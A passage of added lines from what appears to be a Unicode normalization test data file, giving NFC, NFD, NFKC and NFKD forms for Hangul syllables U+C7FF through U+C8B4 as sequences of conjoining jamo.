+{ source: [0xC7FF], NFC: [0xC7FF], NFD: [0x110C, 0x1164, 0x11C2], NFKC: [0xC7FF], NFKD: [0x110C, 0x1164, 0x11C2] },
+{ source: [0xC800], NFC: [0xC800], NFD: [0x110C, 0x1165], NFKC: [0xC800], NFKD: [0x110C, 0x1165] },
+{ source: [0xC801], NFC: [0xC801], NFD: [0x110C, 0x1165, 0x11A8], NFKC: [0xC801], NFKD: [0x110C, 0x1165, 0x11A8] },
+{ source: [0xC802], NFC: [0xC802], NFD: [0x110C, 0x1165, 0x11A9], NFKC: [0xC802], NFKD: [0x110C, 0x1165, 0x11A9] },
+{ source: [0xC803], NFC: [0xC803], NFD: [0x110C, 0x1165, 0x11AA], NFKC: [0xC803], NFKD: [0x110C, 0x1165, 0x11AA] },
+{ source: [0xC804], NFC: [0xC804], NFD: [0x110C, 0x1165, 0x11AB], NFKC: [0xC804], NFKD: [0x110C, 0x1165, 0x11AB] },
+{ source: [0xC805], NFC: [0xC805], NFD: [0x110C, 0x1165, 0x11AC], NFKC: [0xC805], NFKD: [0x110C, 0x1165, 0x11AC] },
+{ source: [0xC806], NFC: [0xC806], NFD: [0x110C, 0x1165, 0x11AD], NFKC: [0xC806], NFKD: [0x110C, 0x1165, 0x11AD] },
+{ source: [0xC807], NFC: [0xC807], NFD: [0x110C, 0x1165, 0x11AE], NFKC: [0xC807], NFKD: [0x110C, 0x1165, 0x11AE] },
+{ source: [0xC808], NFC: [0xC808], NFD: [0x110C, 0x1165, 0x11AF], NFKC: [0xC808], NFKD: [0x110C, 0x1165, 0x11AF] },
+{ source: [0xC809], NFC: [0xC809], NFD: [0x110C, 0x1165, 0x11B0], NFKC: [0xC809], NFKD: [0x110C, 0x1165, 0x11B0] },
+{ source: [0xC80A], NFC: [0xC80A], NFD: [0x110C, 0x1165, 0x11B1], NFKC: [0xC80A], NFKD: [0x110C, 0x1165, 0x11B1] },
+{ source: [0xC80B], NFC: [0xC80B], NFD: [0x110C, 0x1165, 0x11B2], NFKC: [0xC80B], NFKD: [0x110C, 0x1165, 0x11B2] },
+{ source: [0xC80C], NFC: [0xC80C], NFD: [0x110C, 0x1165, 0x11B3], NFKC: [0xC80C], NFKD: [0x110C, 0x1165, 0x11B3] },
+{ source: [0xC80D], NFC: [0xC80D], NFD: [0x110C, 0x1165, 0x11B4], NFKC: [0xC80D], NFKD: [0x110C, 0x1165, 0x11B4] },
+{ source: [0xC80E], NFC: [0xC80E], NFD: [0x110C, 0x1165, 0x11B5], NFKC: [0xC80E], NFKD: [0x110C, 0x1165, 0x11B5] },
+{ source: [0xC80F], NFC: [0xC80F], NFD: [0x110C, 0x1165, 0x11B6], NFKC: [0xC80F], NFKD: [0x110C, 0x1165, 0x11B6] },
+{ source: [0xC810], NFC: [0xC810], NFD: [0x110C, 0x1165, 0x11B7], NFKC: [0xC810], NFKD: [0x110C, 0x1165, 0x11B7] },
+{ source: [0xC811], NFC: [0xC811], NFD: [0x110C, 0x1165, 0x11B8], NFKC: [0xC811], NFKD: [0x110C, 0x1165, 0x11B8] },
+{ source: [0xC812], NFC: [0xC812], NFD: [0x110C, 0x1165, 0x11B9], NFKC: [0xC812], NFKD: [0x110C, 0x1165, 0x11B9] },
+{ source: [0xC813], NFC: [0xC813], NFD: [0x110C, 0x1165, 0x11BA], NFKC: [0xC813], NFKD: [0x110C, 0x1165, 0x11BA] },
+{ source: [0xC814], NFC: [0xC814], NFD: [0x110C, 0x1165, 0x11BB], NFKC: [0xC814], NFKD: [0x110C, 0x1165, 0x11BB] },
+{ source: [0xC815], NFC: [0xC815], NFD: [0x110C, 0x1165, 0x11BC], NFKC: [0xC815], NFKD: [0x110C, 0x1165, 0x11BC] },
+{ source: [0xC816], NFC: [0xC816], NFD: [0x110C, 0x1165, 0x11BD], NFKC: [0xC816], NFKD: [0x110C, 0x1165, 0x11BD] },
+{ source: [0xC817], NFC: [0xC817], NFD: [0x110C, 0x1165, 0x11BE], NFKC: [0xC817], NFKD: [0x110C, 0x1165, 0x11BE] },
+{ source: [0xC818], NFC: [0xC818], NFD: [0x110C, 0x1165, 0x11BF], NFKC: [0xC818], NFKD: [0x110C, 0x1165, 0x11BF] },
+{ source: [0xC819], NFC: [0xC819], NFD: [0x110C, 0x1165, 0x11C0], NFKC: [0xC819], NFKD: [0x110C, 0x1165, 0x11C0] },
+{ source: [0xC81A], NFC: [0xC81A], NFD: [0x110C, 0x1165, 0x11C1], NFKC: [0xC81A], NFKD: [0x110C, 0x1165, 0x11C1] },
+{ source: [0xC81B], NFC: [0xC81B], NFD: [0x110C, 0x1165, 0x11C2], NFKC: [0xC81B], NFKD: [0x110C, 0x1165, 0x11C2] },
+{ source: [0xC81C], NFC: [0xC81C], NFD: [0x110C, 0x1166], NFKC: [0xC81C], NFKD: [0x110C, 0x1166] },
+{ source: [0xC81D], NFC: [0xC81D], NFD: [0x110C, 0x1166, 0x11A8], NFKC: [0xC81D], NFKD: [0x110C, 0x1166, 0x11A8] },
+{ source: [0xC81E], NFC: [0xC81E], NFD: [0x110C, 0x1166, 0x11A9], NFKC: [0xC81E], NFKD: [0x110C, 0x1166, 0x11A9] },
+{ source: [0xC81F], NFC: [0xC81F], NFD: [0x110C, 0x1166, 0x11AA], NFKC: [0xC81F], NFKD: [0x110C, 0x1166, 0x11AA] },
+{ source: [0xC820], NFC: [0xC820], NFD: [0x110C, 0x1166, 0x11AB], NFKC: [0xC820], NFKD: [0x110C, 0x1166, 0x11AB] },
+{ source: [0xC821], NFC: [0xC821], NFD: [0x110C, 0x1166, 0x11AC], NFKC: [0xC821], NFKD: [0x110C, 0x1166, 0x11AC] },
+{ source: [0xC822], NFC: [0xC822], NFD: [0x110C, 0x1166, 0x11AD], NFKC: [0xC822], NFKD: [0x110C, 0x1166, 0x11AD] },
+{ source: [0xC823], NFC: [0xC823], NFD: [0x110C, 0x1166, 0x11AE], NFKC: [0xC823], NFKD: [0x110C, 0x1166, 0x11AE] },
+{ source: [0xC824], NFC: [0xC824], NFD: [0x110C, 0x1166, 0x11AF], NFKC: [0xC824], NFKD: [0x110C, 0x1166, 0x11AF] },
+{ source: [0xC825], NFC: [0xC825], NFD: [0x110C, 0x1166, 0x11B0], NFKC: [0xC825], NFKD: [0x110C, 0x1166, 0x11B0] },
+{ source: [0xC826], NFC: [0xC826], NFD: [0x110C, 0x1166, 0x11B1], NFKC: [0xC826], NFKD: [0x110C, 0x1166, 0x11B1] },
+{ source: [0xC827], NFC: [0xC827], NFD: [0x110C, 0x1166, 0x11B2], NFKC: [0xC827], NFKD: [0x110C, 0x1166, 0x11B2] },
+{ source: [0xC828], NFC: [0xC828], NFD: [0x110C, 0x1166, 0x11B3], NFKC: [0xC828], NFKD: [0x110C, 0x1166, 0x11B3] },
+{ source: [0xC829], NFC: [0xC829], NFD: [0x110C, 0x1166, 0x11B4], NFKC: [0xC829], NFKD: [0x110C, 0x1166, 0x11B4] },
+{ source: [0xC82A], NFC: [0xC82A], NFD: [0x110C, 0x1166, 0x11B5], NFKC: [0xC82A], NFKD: [0x110C, 0x1166, 0x11B5] },
+{ source: [0xC82B], NFC: [0xC82B], NFD: [0x110C, 0x1166, 0x11B6], NFKC: [0xC82B], NFKD: [0x110C, 0x1166, 0x11B6] },
+{ source: [0xC82C], NFC: [0xC82C], NFD: [0x110C, 0x1166, 0x11B7], NFKC: [0xC82C], NFKD: [0x110C, 0x1166, 0x11B7] },
+{ source: [0xC82D], NFC: [0xC82D], NFD: [0x110C, 0x1166, 0x11B8], NFKC: [0xC82D], NFKD: [0x110C, 0x1166, 0x11B8] },
+{ source: [0xC82E], NFC: [0xC82E], NFD: [0x110C, 0x1166, 0x11B9], NFKC: [0xC82E], NFKD: [0x110C, 0x1166, 0x11B9] },
+{ source: [0xC82F], NFC: [0xC82F], NFD: [0x110C, 0x1166, 0x11BA], NFKC: [0xC82F], NFKD: [0x110C, 0x1166, 0x11BA] },
+{ source: [0xC830], NFC: [0xC830], NFD: [0x110C, 0x1166, 0x11BB], NFKC: [0xC830], NFKD: [0x110C, 0x1166, 0x11BB] },
+{ source: [0xC831], NFC: [0xC831], NFD: [0x110C, 0x1166, 0x11BC], NFKC: [0xC831], NFKD: [0x110C, 0x1166, 0x11BC] },
+{ source: [0xC832], NFC: [0xC832], NFD: [0x110C, 0x1166, 0x11BD], NFKC: [0xC832], NFKD: [0x110C, 0x1166, 0x11BD] },
+{ source: [0xC833], NFC: [0xC833], NFD: [0x110C, 0x1166, 0x11BE], NFKC: [0xC833], NFKD: [0x110C, 0x1166, 0x11BE] },
+{ source: [0xC834], NFC: [0xC834], NFD: [0x110C, 0x1166, 0x11BF], NFKC: [0xC834], NFKD: [0x110C, 0x1166, 0x11BF] },
+{ source: [0xC835], NFC: [0xC835], NFD: [0x110C, 0x1166, 0x11C0], NFKC: [0xC835], NFKD: [0x110C, 0x1166, 0x11C0] },
+{ source: [0xC836], NFC: [0xC836], NFD: [0x110C, 0x1166, 0x11C1], NFKC: [0xC836], NFKD: [0x110C, 0x1166, 0x11C1] },
+{ source: [0xC837], NFC: [0xC837], NFD: [0x110C, 0x1166, 0x11C2], NFKC: [0xC837], NFKD: [0x110C, 0x1166, 0x11C2] },
+{ source: [0xC838], NFC: [0xC838], NFD: [0x110C, 0x1167], NFKC: [0xC838], NFKD: [0x110C, 0x1167] },
+{ source: [0xC839], NFC: [0xC839], NFD: [0x110C, 0x1167, 0x11A8], NFKC: [0xC839], NFKD: [0x110C, 0x1167, 0x11A8] },
+{ source: [0xC83A], NFC: [0xC83A], NFD: [0x110C, 0x1167, 0x11A9], NFKC: [0xC83A], NFKD: [0x110C, 0x1167, 0x11A9] },
+{ source: [0xC83B], NFC: [0xC83B], NFD: [0x110C, 0x1167, 0x11AA], NFKC: [0xC83B], NFKD: [0x110C, 0x1167, 0x11AA] },
+{ source: [0xC83C], NFC: [0xC83C], NFD: [0x110C, 0x1167, 0x11AB], NFKC: [0xC83C], NFKD: [0x110C, 0x1167, 0x11AB] },
+{ source: [0xC83D], NFC: [0xC83D], NFD: [0x110C, 0x1167, 0x11AC], NFKC: [0xC83D], NFKD: [0x110C, 0x1167, 0x11AC] },
+{ source: [0xC83E], NFC: [0xC83E], NFD: [0x110C, 0x1167, 0x11AD], NFKC: [0xC83E], NFKD: [0x110C, 0x1167, 0x11AD] },
+{ source: [0xC83F], NFC: [0xC83F], NFD: [0x110C, 0x1167, 0x11AE], NFKC: [0xC83F], NFKD: [0x110C, 0x1167, 0x11AE] },
+{ source: [0xC840], NFC: [0xC840], NFD: [0x110C, 0x1167, 0x11AF], NFKC: [0xC840], NFKD: [0x110C, 0x1167, 0x11AF] },
+{ source: [0xC841], NFC: [0xC841], NFD: [0x110C, 0x1167, 0x11B0], NFKC: [0xC841], NFKD: [0x110C, 0x1167, 0x11B0] },
+{ source: [0xC842], NFC: [0xC842], NFD: [0x110C, 0x1167, 0x11B1], NFKC: [0xC842], NFKD: [0x110C, 0x1167, 0x11B1] },
+{ source: [0xC843], NFC: [0xC843], NFD: [0x110C, 0x1167, 0x11B2], NFKC: [0xC843], NFKD: [0x110C, 0x1167, 0x11B2] },
+{ source: [0xC844], NFC: [0xC844], NFD: [0x110C, 0x1167, 0x11B3], NFKC: [0xC844], NFKD: [0x110C, 0x1167, 0x11B3] },
+{ source: [0xC845], NFC: [0xC845], NFD: [0x110C, 0x1167, 0x11B4], NFKC: [0xC845], NFKD: [0x110C, 0x1167, 0x11B4] },
+{ source: [0xC846], NFC: [0xC846], NFD: [0x110C, 0x1167, 0x11B5], NFKC: [0xC846], NFKD: [0x110C, 0x1167, 0x11B5] },
+{ source: [0xC847], NFC: [0xC847], NFD: [0x110C, 0x1167, 0x11B6], NFKC: [0xC847], NFKD: [0x110C, 0x1167, 0x11B6] },
+{ source: [0xC848], NFC: [0xC848], NFD: [0x110C, 0x1167, 0x11B7], NFKC: [0xC848], NFKD: [0x110C, 0x1167, 0x11B7] },
+{ source: [0xC849], NFC: [0xC849], NFD: [0x110C, 0x1167, 0x11B8], NFKC: [0xC849], NFKD: [0x110C, 0x1167, 0x11B8] },
+{ source: [0xC84A], NFC: [0xC84A], NFD: [0x110C, 0x1167, 0x11B9], NFKC: [0xC84A], NFKD: [0x110C, 0x1167, 0x11B9] },
+{ source: [0xC84B], NFC: [0xC84B], NFD: [0x110C, 0x1167, 0x11BA], NFKC: [0xC84B], NFKD: [0x110C, 0x1167, 0x11BA] },
+{ source: [0xC84C], NFC: [0xC84C], NFD: [0x110C, 0x1167, 0x11BB], NFKC: [0xC84C], NFKD: [0x110C, 0x1167, 0x11BB] },
+{ source: [0xC84D], NFC: [0xC84D], NFD: [0x110C, 0x1167, 0x11BC], NFKC: [0xC84D], NFKD: [0x110C, 0x1167, 0x11BC] },
+{ source: [0xC84E], NFC: [0xC84E], NFD: [0x110C, 0x1167, 0x11BD], NFKC: [0xC84E], NFKD: [0x110C, 0x1167, 0x11BD] },
+{ source: [0xC84F], NFC: [0xC84F], NFD: [0x110C, 0x1167, 0x11BE], NFKC: [0xC84F], NFKD: [0x110C, 0x1167, 0x11BE] },
+{ source: [0xC850], NFC: [0xC850], NFD: [0x110C, 0x1167, 0x11BF], NFKC: [0xC850], NFKD: [0x110C, 0x1167, 0x11BF] },
+{ source: [0xC851], NFC: [0xC851], NFD: [0x110C, 0x1167, 0x11C0], NFKC: [0xC851], NFKD: [0x110C, 0x1167, 0x11C0] },
+{ source: [0xC852], NFC: [0xC852], NFD: [0x110C, 0x1167, 0x11C1], NFKC: [0xC852], NFKD: [0x110C, 0x1167, 0x11C1] },
+{ source: [0xC853], NFC: [0xC853], NFD: [0x110C, 0x1167, 0x11C2], NFKC: [0xC853], NFKD: [0x110C, 0x1167, 0x11C2] },
+{ source: [0xC854], NFC: [0xC854], NFD: [0x110C, 0x1168], NFKC: [0xC854], NFKD: [0x110C, 0x1168] },
+{ source: [0xC855], NFC: [0xC855], NFD: [0x110C, 0x1168, 0x11A8], NFKC: [0xC855], NFKD: [0x110C, 0x1168, 0x11A8] },
+{ source: [0xC856], NFC: [0xC856], NFD: [0x110C, 0x1168, 0x11A9], NFKC: [0xC856], NFKD: [0x110C, 0x1168, 0x11A9] },
+{ source: [0xC857], NFC: [0xC857], NFD: [0x110C, 0x1168, 0x11AA], NFKC: [0xC857], NFKD: [0x110C, 0x1168, 0x11AA] },
+{ source: [0xC858], NFC: [0xC858], NFD: [0x110C, 0x1168, 0x11AB], NFKC: [0xC858], NFKD: [0x110C, 0x1168, 0x11AB] },
+{ source: [0xC859], NFC: [0xC859], NFD: [0x110C, 0x1168, 0x11AC], NFKC: [0xC859], NFKD: [0x110C, 0x1168, 0x11AC] },
+{ source: [0xC85A], NFC: [0xC85A], NFD: [0x110C, 0x1168, 0x11AD], NFKC: [0xC85A], NFKD: [0x110C, 0x1168, 0x11AD] },
+{ source: [0xC85B], NFC: [0xC85B], NFD: [0x110C, 0x1168, 0x11AE], NFKC: [0xC85B], NFKD: [0x110C, 0x1168, 0x11AE] },
+{ source: [0xC85C], NFC: [0xC85C], NFD: [0x110C, 0x1168, 0x11AF], NFKC: [0xC85C], NFKD: [0x110C, 0x1168, 0x11AF] },
+{ source: [0xC85D], NFC: [0xC85D], NFD: [0x110C, 0x1168, 0x11B0], NFKC: [0xC85D], NFKD: [0x110C, 0x1168, 0x11B0] },
+{ source: [0xC85E], NFC: [0xC85E], NFD: [0x110C, 0x1168, 0x11B1], NFKC: [0xC85E], NFKD: [0x110C, 0x1168, 0x11B1] },
+{ source: [0xC85F], NFC: [0xC85F], NFD: [0x110C, 0x1168, 0x11B2], NFKC: [0xC85F], NFKD: [0x110C, 0x1168, 0x11B2] },
+{ source: [0xC860], NFC: [0xC860], NFD: [0x110C, 0x1168, 0x11B3], NFKC: [0xC860], NFKD: [0x110C, 0x1168, 0x11B3] },
+{ source: [0xC861], NFC: [0xC861], NFD: [0x110C, 0x1168, 0x11B4], NFKC: [0xC861], NFKD: [0x110C, 0x1168, 0x11B4] },
+{ source: [0xC862], NFC: [0xC862], NFD: [0x110C, 0x1168, 0x11B5], NFKC: [0xC862], NFKD: [0x110C, 0x1168, 0x11B5] },
+{ source: [0xC863], NFC: [0xC863], NFD: [0x110C, 0x1168, 0x11B6], NFKC: [0xC863], NFKD: [0x110C, 0x1168, 0x11B6] },
+{ source: [0xC864], NFC: [0xC864], NFD: [0x110C, 0x1168, 0x11B7], NFKC: [0xC864], NFKD: [0x110C, 0x1168, 0x11B7] },
+{ source: [0xC865], NFC: [0xC865], NFD: [0x110C, 0x1168, 0x11B8], NFKC: [0xC865], NFKD: [0x110C, 0x1168, 0x11B8] },
+{ source: [0xC866], NFC: [0xC866], NFD: [0x110C, 0x1168, 0x11B9], NFKC: [0xC866], NFKD: [0x110C, 0x1168, 0x11B9] },
+{ source: [0xC867], NFC: [0xC867], NFD: [0x110C, 0x1168, 0x11BA], NFKC: [0xC867], NFKD: [0x110C, 0x1168, 0x11BA] },
+{ source: [0xC868], NFC: [0xC868], NFD: [0x110C, 0x1168, 0x11BB], NFKC: [0xC868], NFKD: [0x110C, 0x1168, 0x11BB] },
+{ source: [0xC869], NFC: [0xC869], NFD: [0x110C, 0x1168, 0x11BC], NFKC: [0xC869], NFKD: [0x110C, 0x1168, 0x11BC] },
+{ source: [0xC86A], NFC: [0xC86A], NFD: [0x110C, 0x1168, 0x11BD], NFKC: [0xC86A], NFKD: [0x110C, 0x1168, 0x11BD] },
+{ source: [0xC86B], NFC: [0xC86B], NFD: [0x110C, 0x1168, 0x11BE], NFKC: [0xC86B], NFKD: [0x110C, 0x1168, 0x11BE] },
+{ source: [0xC86C], NFC: [0xC86C], NFD: [0x110C, 0x1168, 0x11BF], NFKC: [0xC86C], NFKD: [0x110C, 0x1168, 0x11BF] },
+{ source: [0xC86D], NFC: [0xC86D], NFD: [0x110C, 0x1168, 0x11C0], NFKC: [0xC86D], NFKD: [0x110C, 0x1168, 0x11C0] },
+{ source: [0xC86E], NFC: [0xC86E], NFD: [0x110C, 0x1168, 0x11C1], NFKC: [0xC86E], NFKD: [0x110C, 0x1168, 0x11C1] },
+{ source: [0xC86F], NFC: [0xC86F], NFD: [0x110C, 0x1168, 0x11C2], NFKC: [0xC86F], NFKD: [0x110C, 0x1168, 0x11C2] },
+{ source: [0xC870], NFC: [0xC870], NFD: [0x110C, 0x1169], NFKC: [0xC870], NFKD: [0x110C, 0x1169] },
+{ source: [0xC871], NFC: [0xC871], NFD: [0x110C, 0x1169, 0x11A8], NFKC: [0xC871], NFKD: [0x110C, 0x1169, 0x11A8] },
+{ source: [0xC872], NFC: [0xC872], NFD: [0x110C, 0x1169, 0x11A9], NFKC: [0xC872], NFKD: [0x110C, 0x1169, 0x11A9] },
+{ source: [0xC873], NFC: [0xC873], NFD: [0x110C, 0x1169, 0x11AA], NFKC: [0xC873], NFKD: [0x110C, 0x1169, 0x11AA] },
+{ source: [0xC874], NFC: [0xC874], NFD: [0x110C, 0x1169, 0x11AB], NFKC: [0xC874], NFKD: [0x110C, 0x1169, 0x11AB] },
+{ source: [0xC875], NFC: [0xC875], NFD: [0x110C, 0x1169, 0x11AC], NFKC: [0xC875], NFKD: [0x110C, 0x1169, 0x11AC] },
+{ source: [0xC876], NFC: [0xC876], NFD: [0x110C, 0x1169, 0x11AD], NFKC: [0xC876], NFKD: [0x110C, 0x1169, 0x11AD] },
+{ source: [0xC877], NFC: [0xC877], NFD: [0x110C, 0x1169, 0x11AE], NFKC: [0xC877], NFKD: [0x110C, 0x1169, 0x11AE] },
+{ source: [0xC878], NFC: [0xC878], NFD: [0x110C, 0x1169, 0x11AF], NFKC: [0xC878], NFKD: [0x110C, 0x1169, 0x11AF] },
+{ source: [0xC879], NFC: [0xC879], NFD: [0x110C, 0x1169, 0x11B0], NFKC: [0xC879], NFKD: [0x110C, 0x1169, 0x11B0] },
+{ source: [0xC87A], NFC: [0xC87A], NFD: [0x110C, 0x1169, 0x11B1], NFKC: [0xC87A], NFKD: [0x110C, 0x1169, 0x11B1] },
+{ source: [0xC87B], NFC: [0xC87B], NFD: [0x110C, 0x1169, 0x11B2], NFKC: [0xC87B], NFKD: [0x110C, 0x1169, 0x11B2] },
+{ source: [0xC87C], NFC: [0xC87C], NFD: [0x110C, 0x1169, 0x11B3], NFKC: [0xC87C], NFKD: [0x110C, 0x1169, 0x11B3] },
+{ source: [0xC87D], NFC: [0xC87D], NFD: [0x110C, 0x1169, 0x11B4], NFKC: [0xC87D], NFKD: [0x110C, 0x1169, 0x11B4] },
+{ source: [0xC87E], NFC: [0xC87E], NFD: [0x110C, 0x1169, 0x11B5], NFKC: [0xC87E], NFKD: [0x110C, 0x1169, 0x11B5] },
+{ source: [0xC87F], NFC: [0xC87F], NFD: [0x110C, 0x1169, 0x11B6], NFKC: [0xC87F], NFKD: [0x110C, 0x1169, 0x11B6] },
+{ source: [0xC880], NFC: [0xC880], NFD: [0x110C, 0x1169, 0x11B7], NFKC: [0xC880], NFKD: [0x110C, 0x1169, 0x11B7] },
+{ source: [0xC881], NFC: [0xC881], NFD: [0x110C, 0x1169, 0x11B8], NFKC: [0xC881], NFKD: [0x110C, 0x1169, 0x11B8] },
+{ source: [0xC882], NFC: [0xC882], NFD: [0x110C, 0x1169, 0x11B9], NFKC: [0xC882], NFKD: [0x110C, 0x1169, 0x11B9] },
+{ source: [0xC883], NFC: [0xC883], NFD: [0x110C, 0x1169, 0x11BA], NFKC: [0xC883], NFKD: [0x110C, 0x1169, 0x11BA] },
+{ source: [0xC884], NFC: [0xC884], NFD: [0x110C, 0x1169, 0x11BB], NFKC: [0xC884], NFKD: [0x110C, 0x1169, 0x11BB] },
+{ source: [0xC885], NFC: [0xC885], NFD: [0x110C, 0x1169, 0x11BC], NFKC: [0xC885], NFKD: [0x110C, 0x1169, 0x11BC] },
+{ source: [0xC886], NFC: [0xC886], NFD: [0x110C, 0x1169, 0x11BD], NFKC: [0xC886], NFKD: [0x110C, 0x1169, 0x11BD] },
+{ source: [0xC887], NFC: [0xC887], NFD: [0x110C, 0x1169, 0x11BE], NFKC: [0xC887], NFKD: [0x110C, 0x1169, 0x11BE] },
+{ source: [0xC888], NFC: [0xC888], NFD: [0x110C, 0x1169, 0x11BF], NFKC: [0xC888], NFKD: [0x110C, 0x1169, 0x11BF] },
+{ source: [0xC889], NFC: [0xC889], NFD: [0x110C, 0x1169, 0x11C0], NFKC: [0xC889], NFKD: [0x110C, 0x1169, 0x11C0] },
+{ source: [0xC88A], NFC: [0xC88A], NFD: [0x110C, 0x1169, 0x11C1], NFKC: [0xC88A], NFKD: [0x110C, 0x1169, 0x11C1] },
+{ source: [0xC88B], NFC: [0xC88B], NFD: [0x110C, 0x1169, 0x11C2], NFKC: [0xC88B], NFKD: [0x110C, 0x1169, 0x11C2] },
+{ source: [0xC88C], NFC: [0xC88C], NFD: [0x110C, 0x116A], NFKC: [0xC88C], NFKD: [0x110C, 0x116A] },
+{ source: [0xC88D], NFC: [0xC88D], NFD: [0x110C, 0x116A, 0x11A8], NFKC: [0xC88D], NFKD: [0x110C, 0x116A, 0x11A8] },
+{ source: [0xC88E], NFC: [0xC88E], NFD: [0x110C, 0x116A, 0x11A9], NFKC: [0xC88E], NFKD: [0x110C, 0x116A, 0x11A9] },
+{ source: [0xC88F], NFC: [0xC88F], NFD: [0x110C, 0x116A, 0x11AA], NFKC: [0xC88F], NFKD: [0x110C, 0x116A, 0x11AA] },
+{ source: [0xC890], NFC: [0xC890], NFD: [0x110C, 0x116A, 0x11AB], NFKC: [0xC890], NFKD: [0x110C, 0x116A, 0x11AB] },
+{ source: [0xC891], NFC: [0xC891], NFD: [0x110C, 0x116A, 0x11AC], NFKC: [0xC891], NFKD: [0x110C, 0x116A, 0x11AC] },
+{ source: [0xC892], NFC: [0xC892], NFD: [0x110C, 0x116A, 0x11AD], NFKC: [0xC892], NFKD: [0x110C, 0x116A, 0x11AD] },
+{ source: [0xC893], NFC: [0xC893], NFD: [0x110C, 0x116A, 0x11AE], NFKC: [0xC893], NFKD: [0x110C, 0x116A, 0x11AE] },
+{ source: [0xC894], NFC: [0xC894], NFD: [0x110C, 0x116A, 0x11AF], NFKC: [0xC894], NFKD: [0x110C, 0x116A, 0x11AF] },
+{ source: [0xC895], NFC: [0xC895], NFD: [0x110C, 0x116A, 0x11B0], NFKC: [0xC895], NFKD: [0x110C, 0x116A, 0x11B0] },
+{ source: [0xC896], NFC: [0xC896], NFD: [0x110C, 0x116A, 0x11B1], NFKC: [0xC896], NFKD: [0x110C, 0x116A, 0x11B1] },
+{ source: [0xC897], NFC: [0xC897], NFD: [0x110C, 0x116A, 0x11B2], NFKC: [0xC897], NFKD: [0x110C, 0x116A, 0x11B2] },
+{ source: [0xC898], NFC: [0xC898], NFD: [0x110C, 0x116A, 0x11B3], NFKC: [0xC898], NFKD: [0x110C, 0x116A, 0x11B3] },
+{ source: [0xC899], NFC: [0xC899], NFD: [0x110C, 0x116A, 0x11B4], NFKC: [0xC899], NFKD: [0x110C, 0x116A, 0x11B4] },
+{ source: [0xC89A], NFC: [0xC89A], NFD: [0x110C, 0x116A, 0x11B5], NFKC: [0xC89A], NFKD: [0x110C, 0x116A, 0x11B5] },
+{ source: [0xC89B], NFC: [0xC89B], NFD: [0x110C, 0x116A, 0x11B6], NFKC: [0xC89B], NFKD: [0x110C, 0x116A, 0x11B6] },
+{ source: [0xC89C], NFC: [0xC89C], NFD: [0x110C, 0x116A, 0x11B7], NFKC: [0xC89C], NFKD: [0x110C, 0x116A, 0x11B7] },
+{ source: [0xC89D], NFC: [0xC89D], NFD: [0x110C, 0x116A, 0x11B8], NFKC: [0xC89D], NFKD: [0x110C, 0x116A, 0x11B8] },
+{ source: [0xC89E], NFC: [0xC89E], NFD: [0x110C, 0x116A, 0x11B9], NFKC: [0xC89E], NFKD: [0x110C, 0x116A, 0x11B9] },
+{ source: [0xC89F], NFC: [0xC89F], NFD: [0x110C, 0x116A, 0x11BA], NFKC: [0xC89F], NFKD: [0x110C, 0x116A, 0x11BA] },
+{ source: [0xC8A0], NFC: [0xC8A0], NFD: [0x110C, 0x116A, 0x11BB], NFKC: [0xC8A0], NFKD: [0x110C, 0x116A, 0x11BB] },
+{ source: [0xC8A1], NFC: [0xC8A1], NFD: [0x110C, 0x116A, 0x11BC], NFKC: [0xC8A1], NFKD: [0x110C, 0x116A, 0x11BC] },
+{ source: [0xC8A2], NFC: [0xC8A2], NFD: [0x110C, 0x116A, 0x11BD], NFKC: [0xC8A2], NFKD: [0x110C, 0x116A, 0x11BD] },
+{ source: [0xC8A3], NFC: [0xC8A3], NFD: [0x110C, 0x116A, 0x11BE], NFKC: [0xC8A3], NFKD: [0x110C, 0x116A, 0x11BE] },
+{ source: [0xC8A4], NFC: [0xC8A4], NFD: [0x110C, 0x116A, 0x11BF], NFKC: [0xC8A4], NFKD: [0x110C, 0x116A, 0x11BF] },
+{ source: [0xC8A5], NFC: [0xC8A5], NFD: [0x110C, 0x116A, 0x11C0], NFKC: [0xC8A5], NFKD: [0x110C, 0x116A, 0x11C0] },
+{ source: [0xC8A6], NFC: [0xC8A6], NFD: [0x110C, 0x116A, 0x11C1], NFKC: [0xC8A6], NFKD: [0x110C, 0x116A, 0x11C1] },
+{ source: [0xC8A7], NFC: [0xC8A7], NFD: [0x110C, 0x116A, 0x11C2], NFKC: [0xC8A7], NFKD: [0x110C, 0x116A, 0x11C2] },
+{ source: [0xC8A8], NFC: [0xC8A8], NFD: [0x110C, 0x116B], NFKC: [0xC8A8], NFKD: [0x110C, 0x116B] },
+{ source: [0xC8A9], NFC: [0xC8A9], NFD: [0x110C, 0x116B, 0x11A8], NFKC: [0xC8A9], NFKD: [0x110C, 0x116B, 0x11A8] },
+{ source: [0xC8AA], NFC: [0xC8AA], NFD: [0x110C, 0x116B, 0x11A9], NFKC: [0xC8AA], NFKD: [0x110C, 0x116B, 0x11A9] },
+{ source: [0xC8AB], NFC: [0xC8AB], NFD: [0x110C, 0x116B, 0x11AA], NFKC: [0xC8AB], NFKD: [0x110C, 0x116B, 0x11AA] },
+{ source: [0xC8AC], NFC: [0xC8AC], NFD: [0x110C, 0x116B, 0x11AB], NFKC: [0xC8AC], NFKD: [0x110C, 0x116B, 0x11AB] },
+{ source: [0xC8AD], NFC: [0xC8AD], NFD: [0x110C, 0x116B, 0x11AC], NFKC: [0xC8AD], NFKD: [0x110C, 0x116B, 0x11AC] },
+{ source: [0xC8AE], NFC: [0xC8AE], NFD: [0x110C, 0x116B, 0x11AD], NFKC: [0xC8AE], NFKD: [0x110C, 0x116B, 0x11AD] },
+{ source: [0xC8AF], NFC: [0xC8AF], NFD: [0x110C, 0x116B, 0x11AE], NFKC: [0xC8AF], NFKD: [0x110C, 0x116B, 0x11AE] },
+{ source: [0xC8B0], NFC: [0xC8B0], NFD: [0x110C, 0x116B, 0x11AF], NFKC: [0xC8B0], NFKD: [0x110C, 0x116B, 0x11AF] },
+{ source: [0xC8B1], NFC: [0xC8B1], NFD: [0x110C, 0x116B, 0x11B0], NFKC: [0xC8B1], NFKD: [0x110C, 0x116B, 0x11B0] },
+{ source: [0xC8B2], NFC: [0xC8B2], NFD: [0x110C, 0x116B, 0x11B1], NFKC: [0xC8B2], NFKD: [0x110C, 0x116B, 0x11B1] },
+{ source: [0xC8B3], NFC: [0xC8B3], NFD: [0x110C, 0x116B, 0x11B2], NFKC: [0xC8B3], NFKD: [0x110C, 0x116B, 0x11B2] },
+{ source: [0xC8B4], NFC: [0xC8B4], NFD: [0x110C, 0x116B, 0x11B3], NFKC: [0xC8B4], NFKD: [0x110C, 0x116B, 0x11B3] },
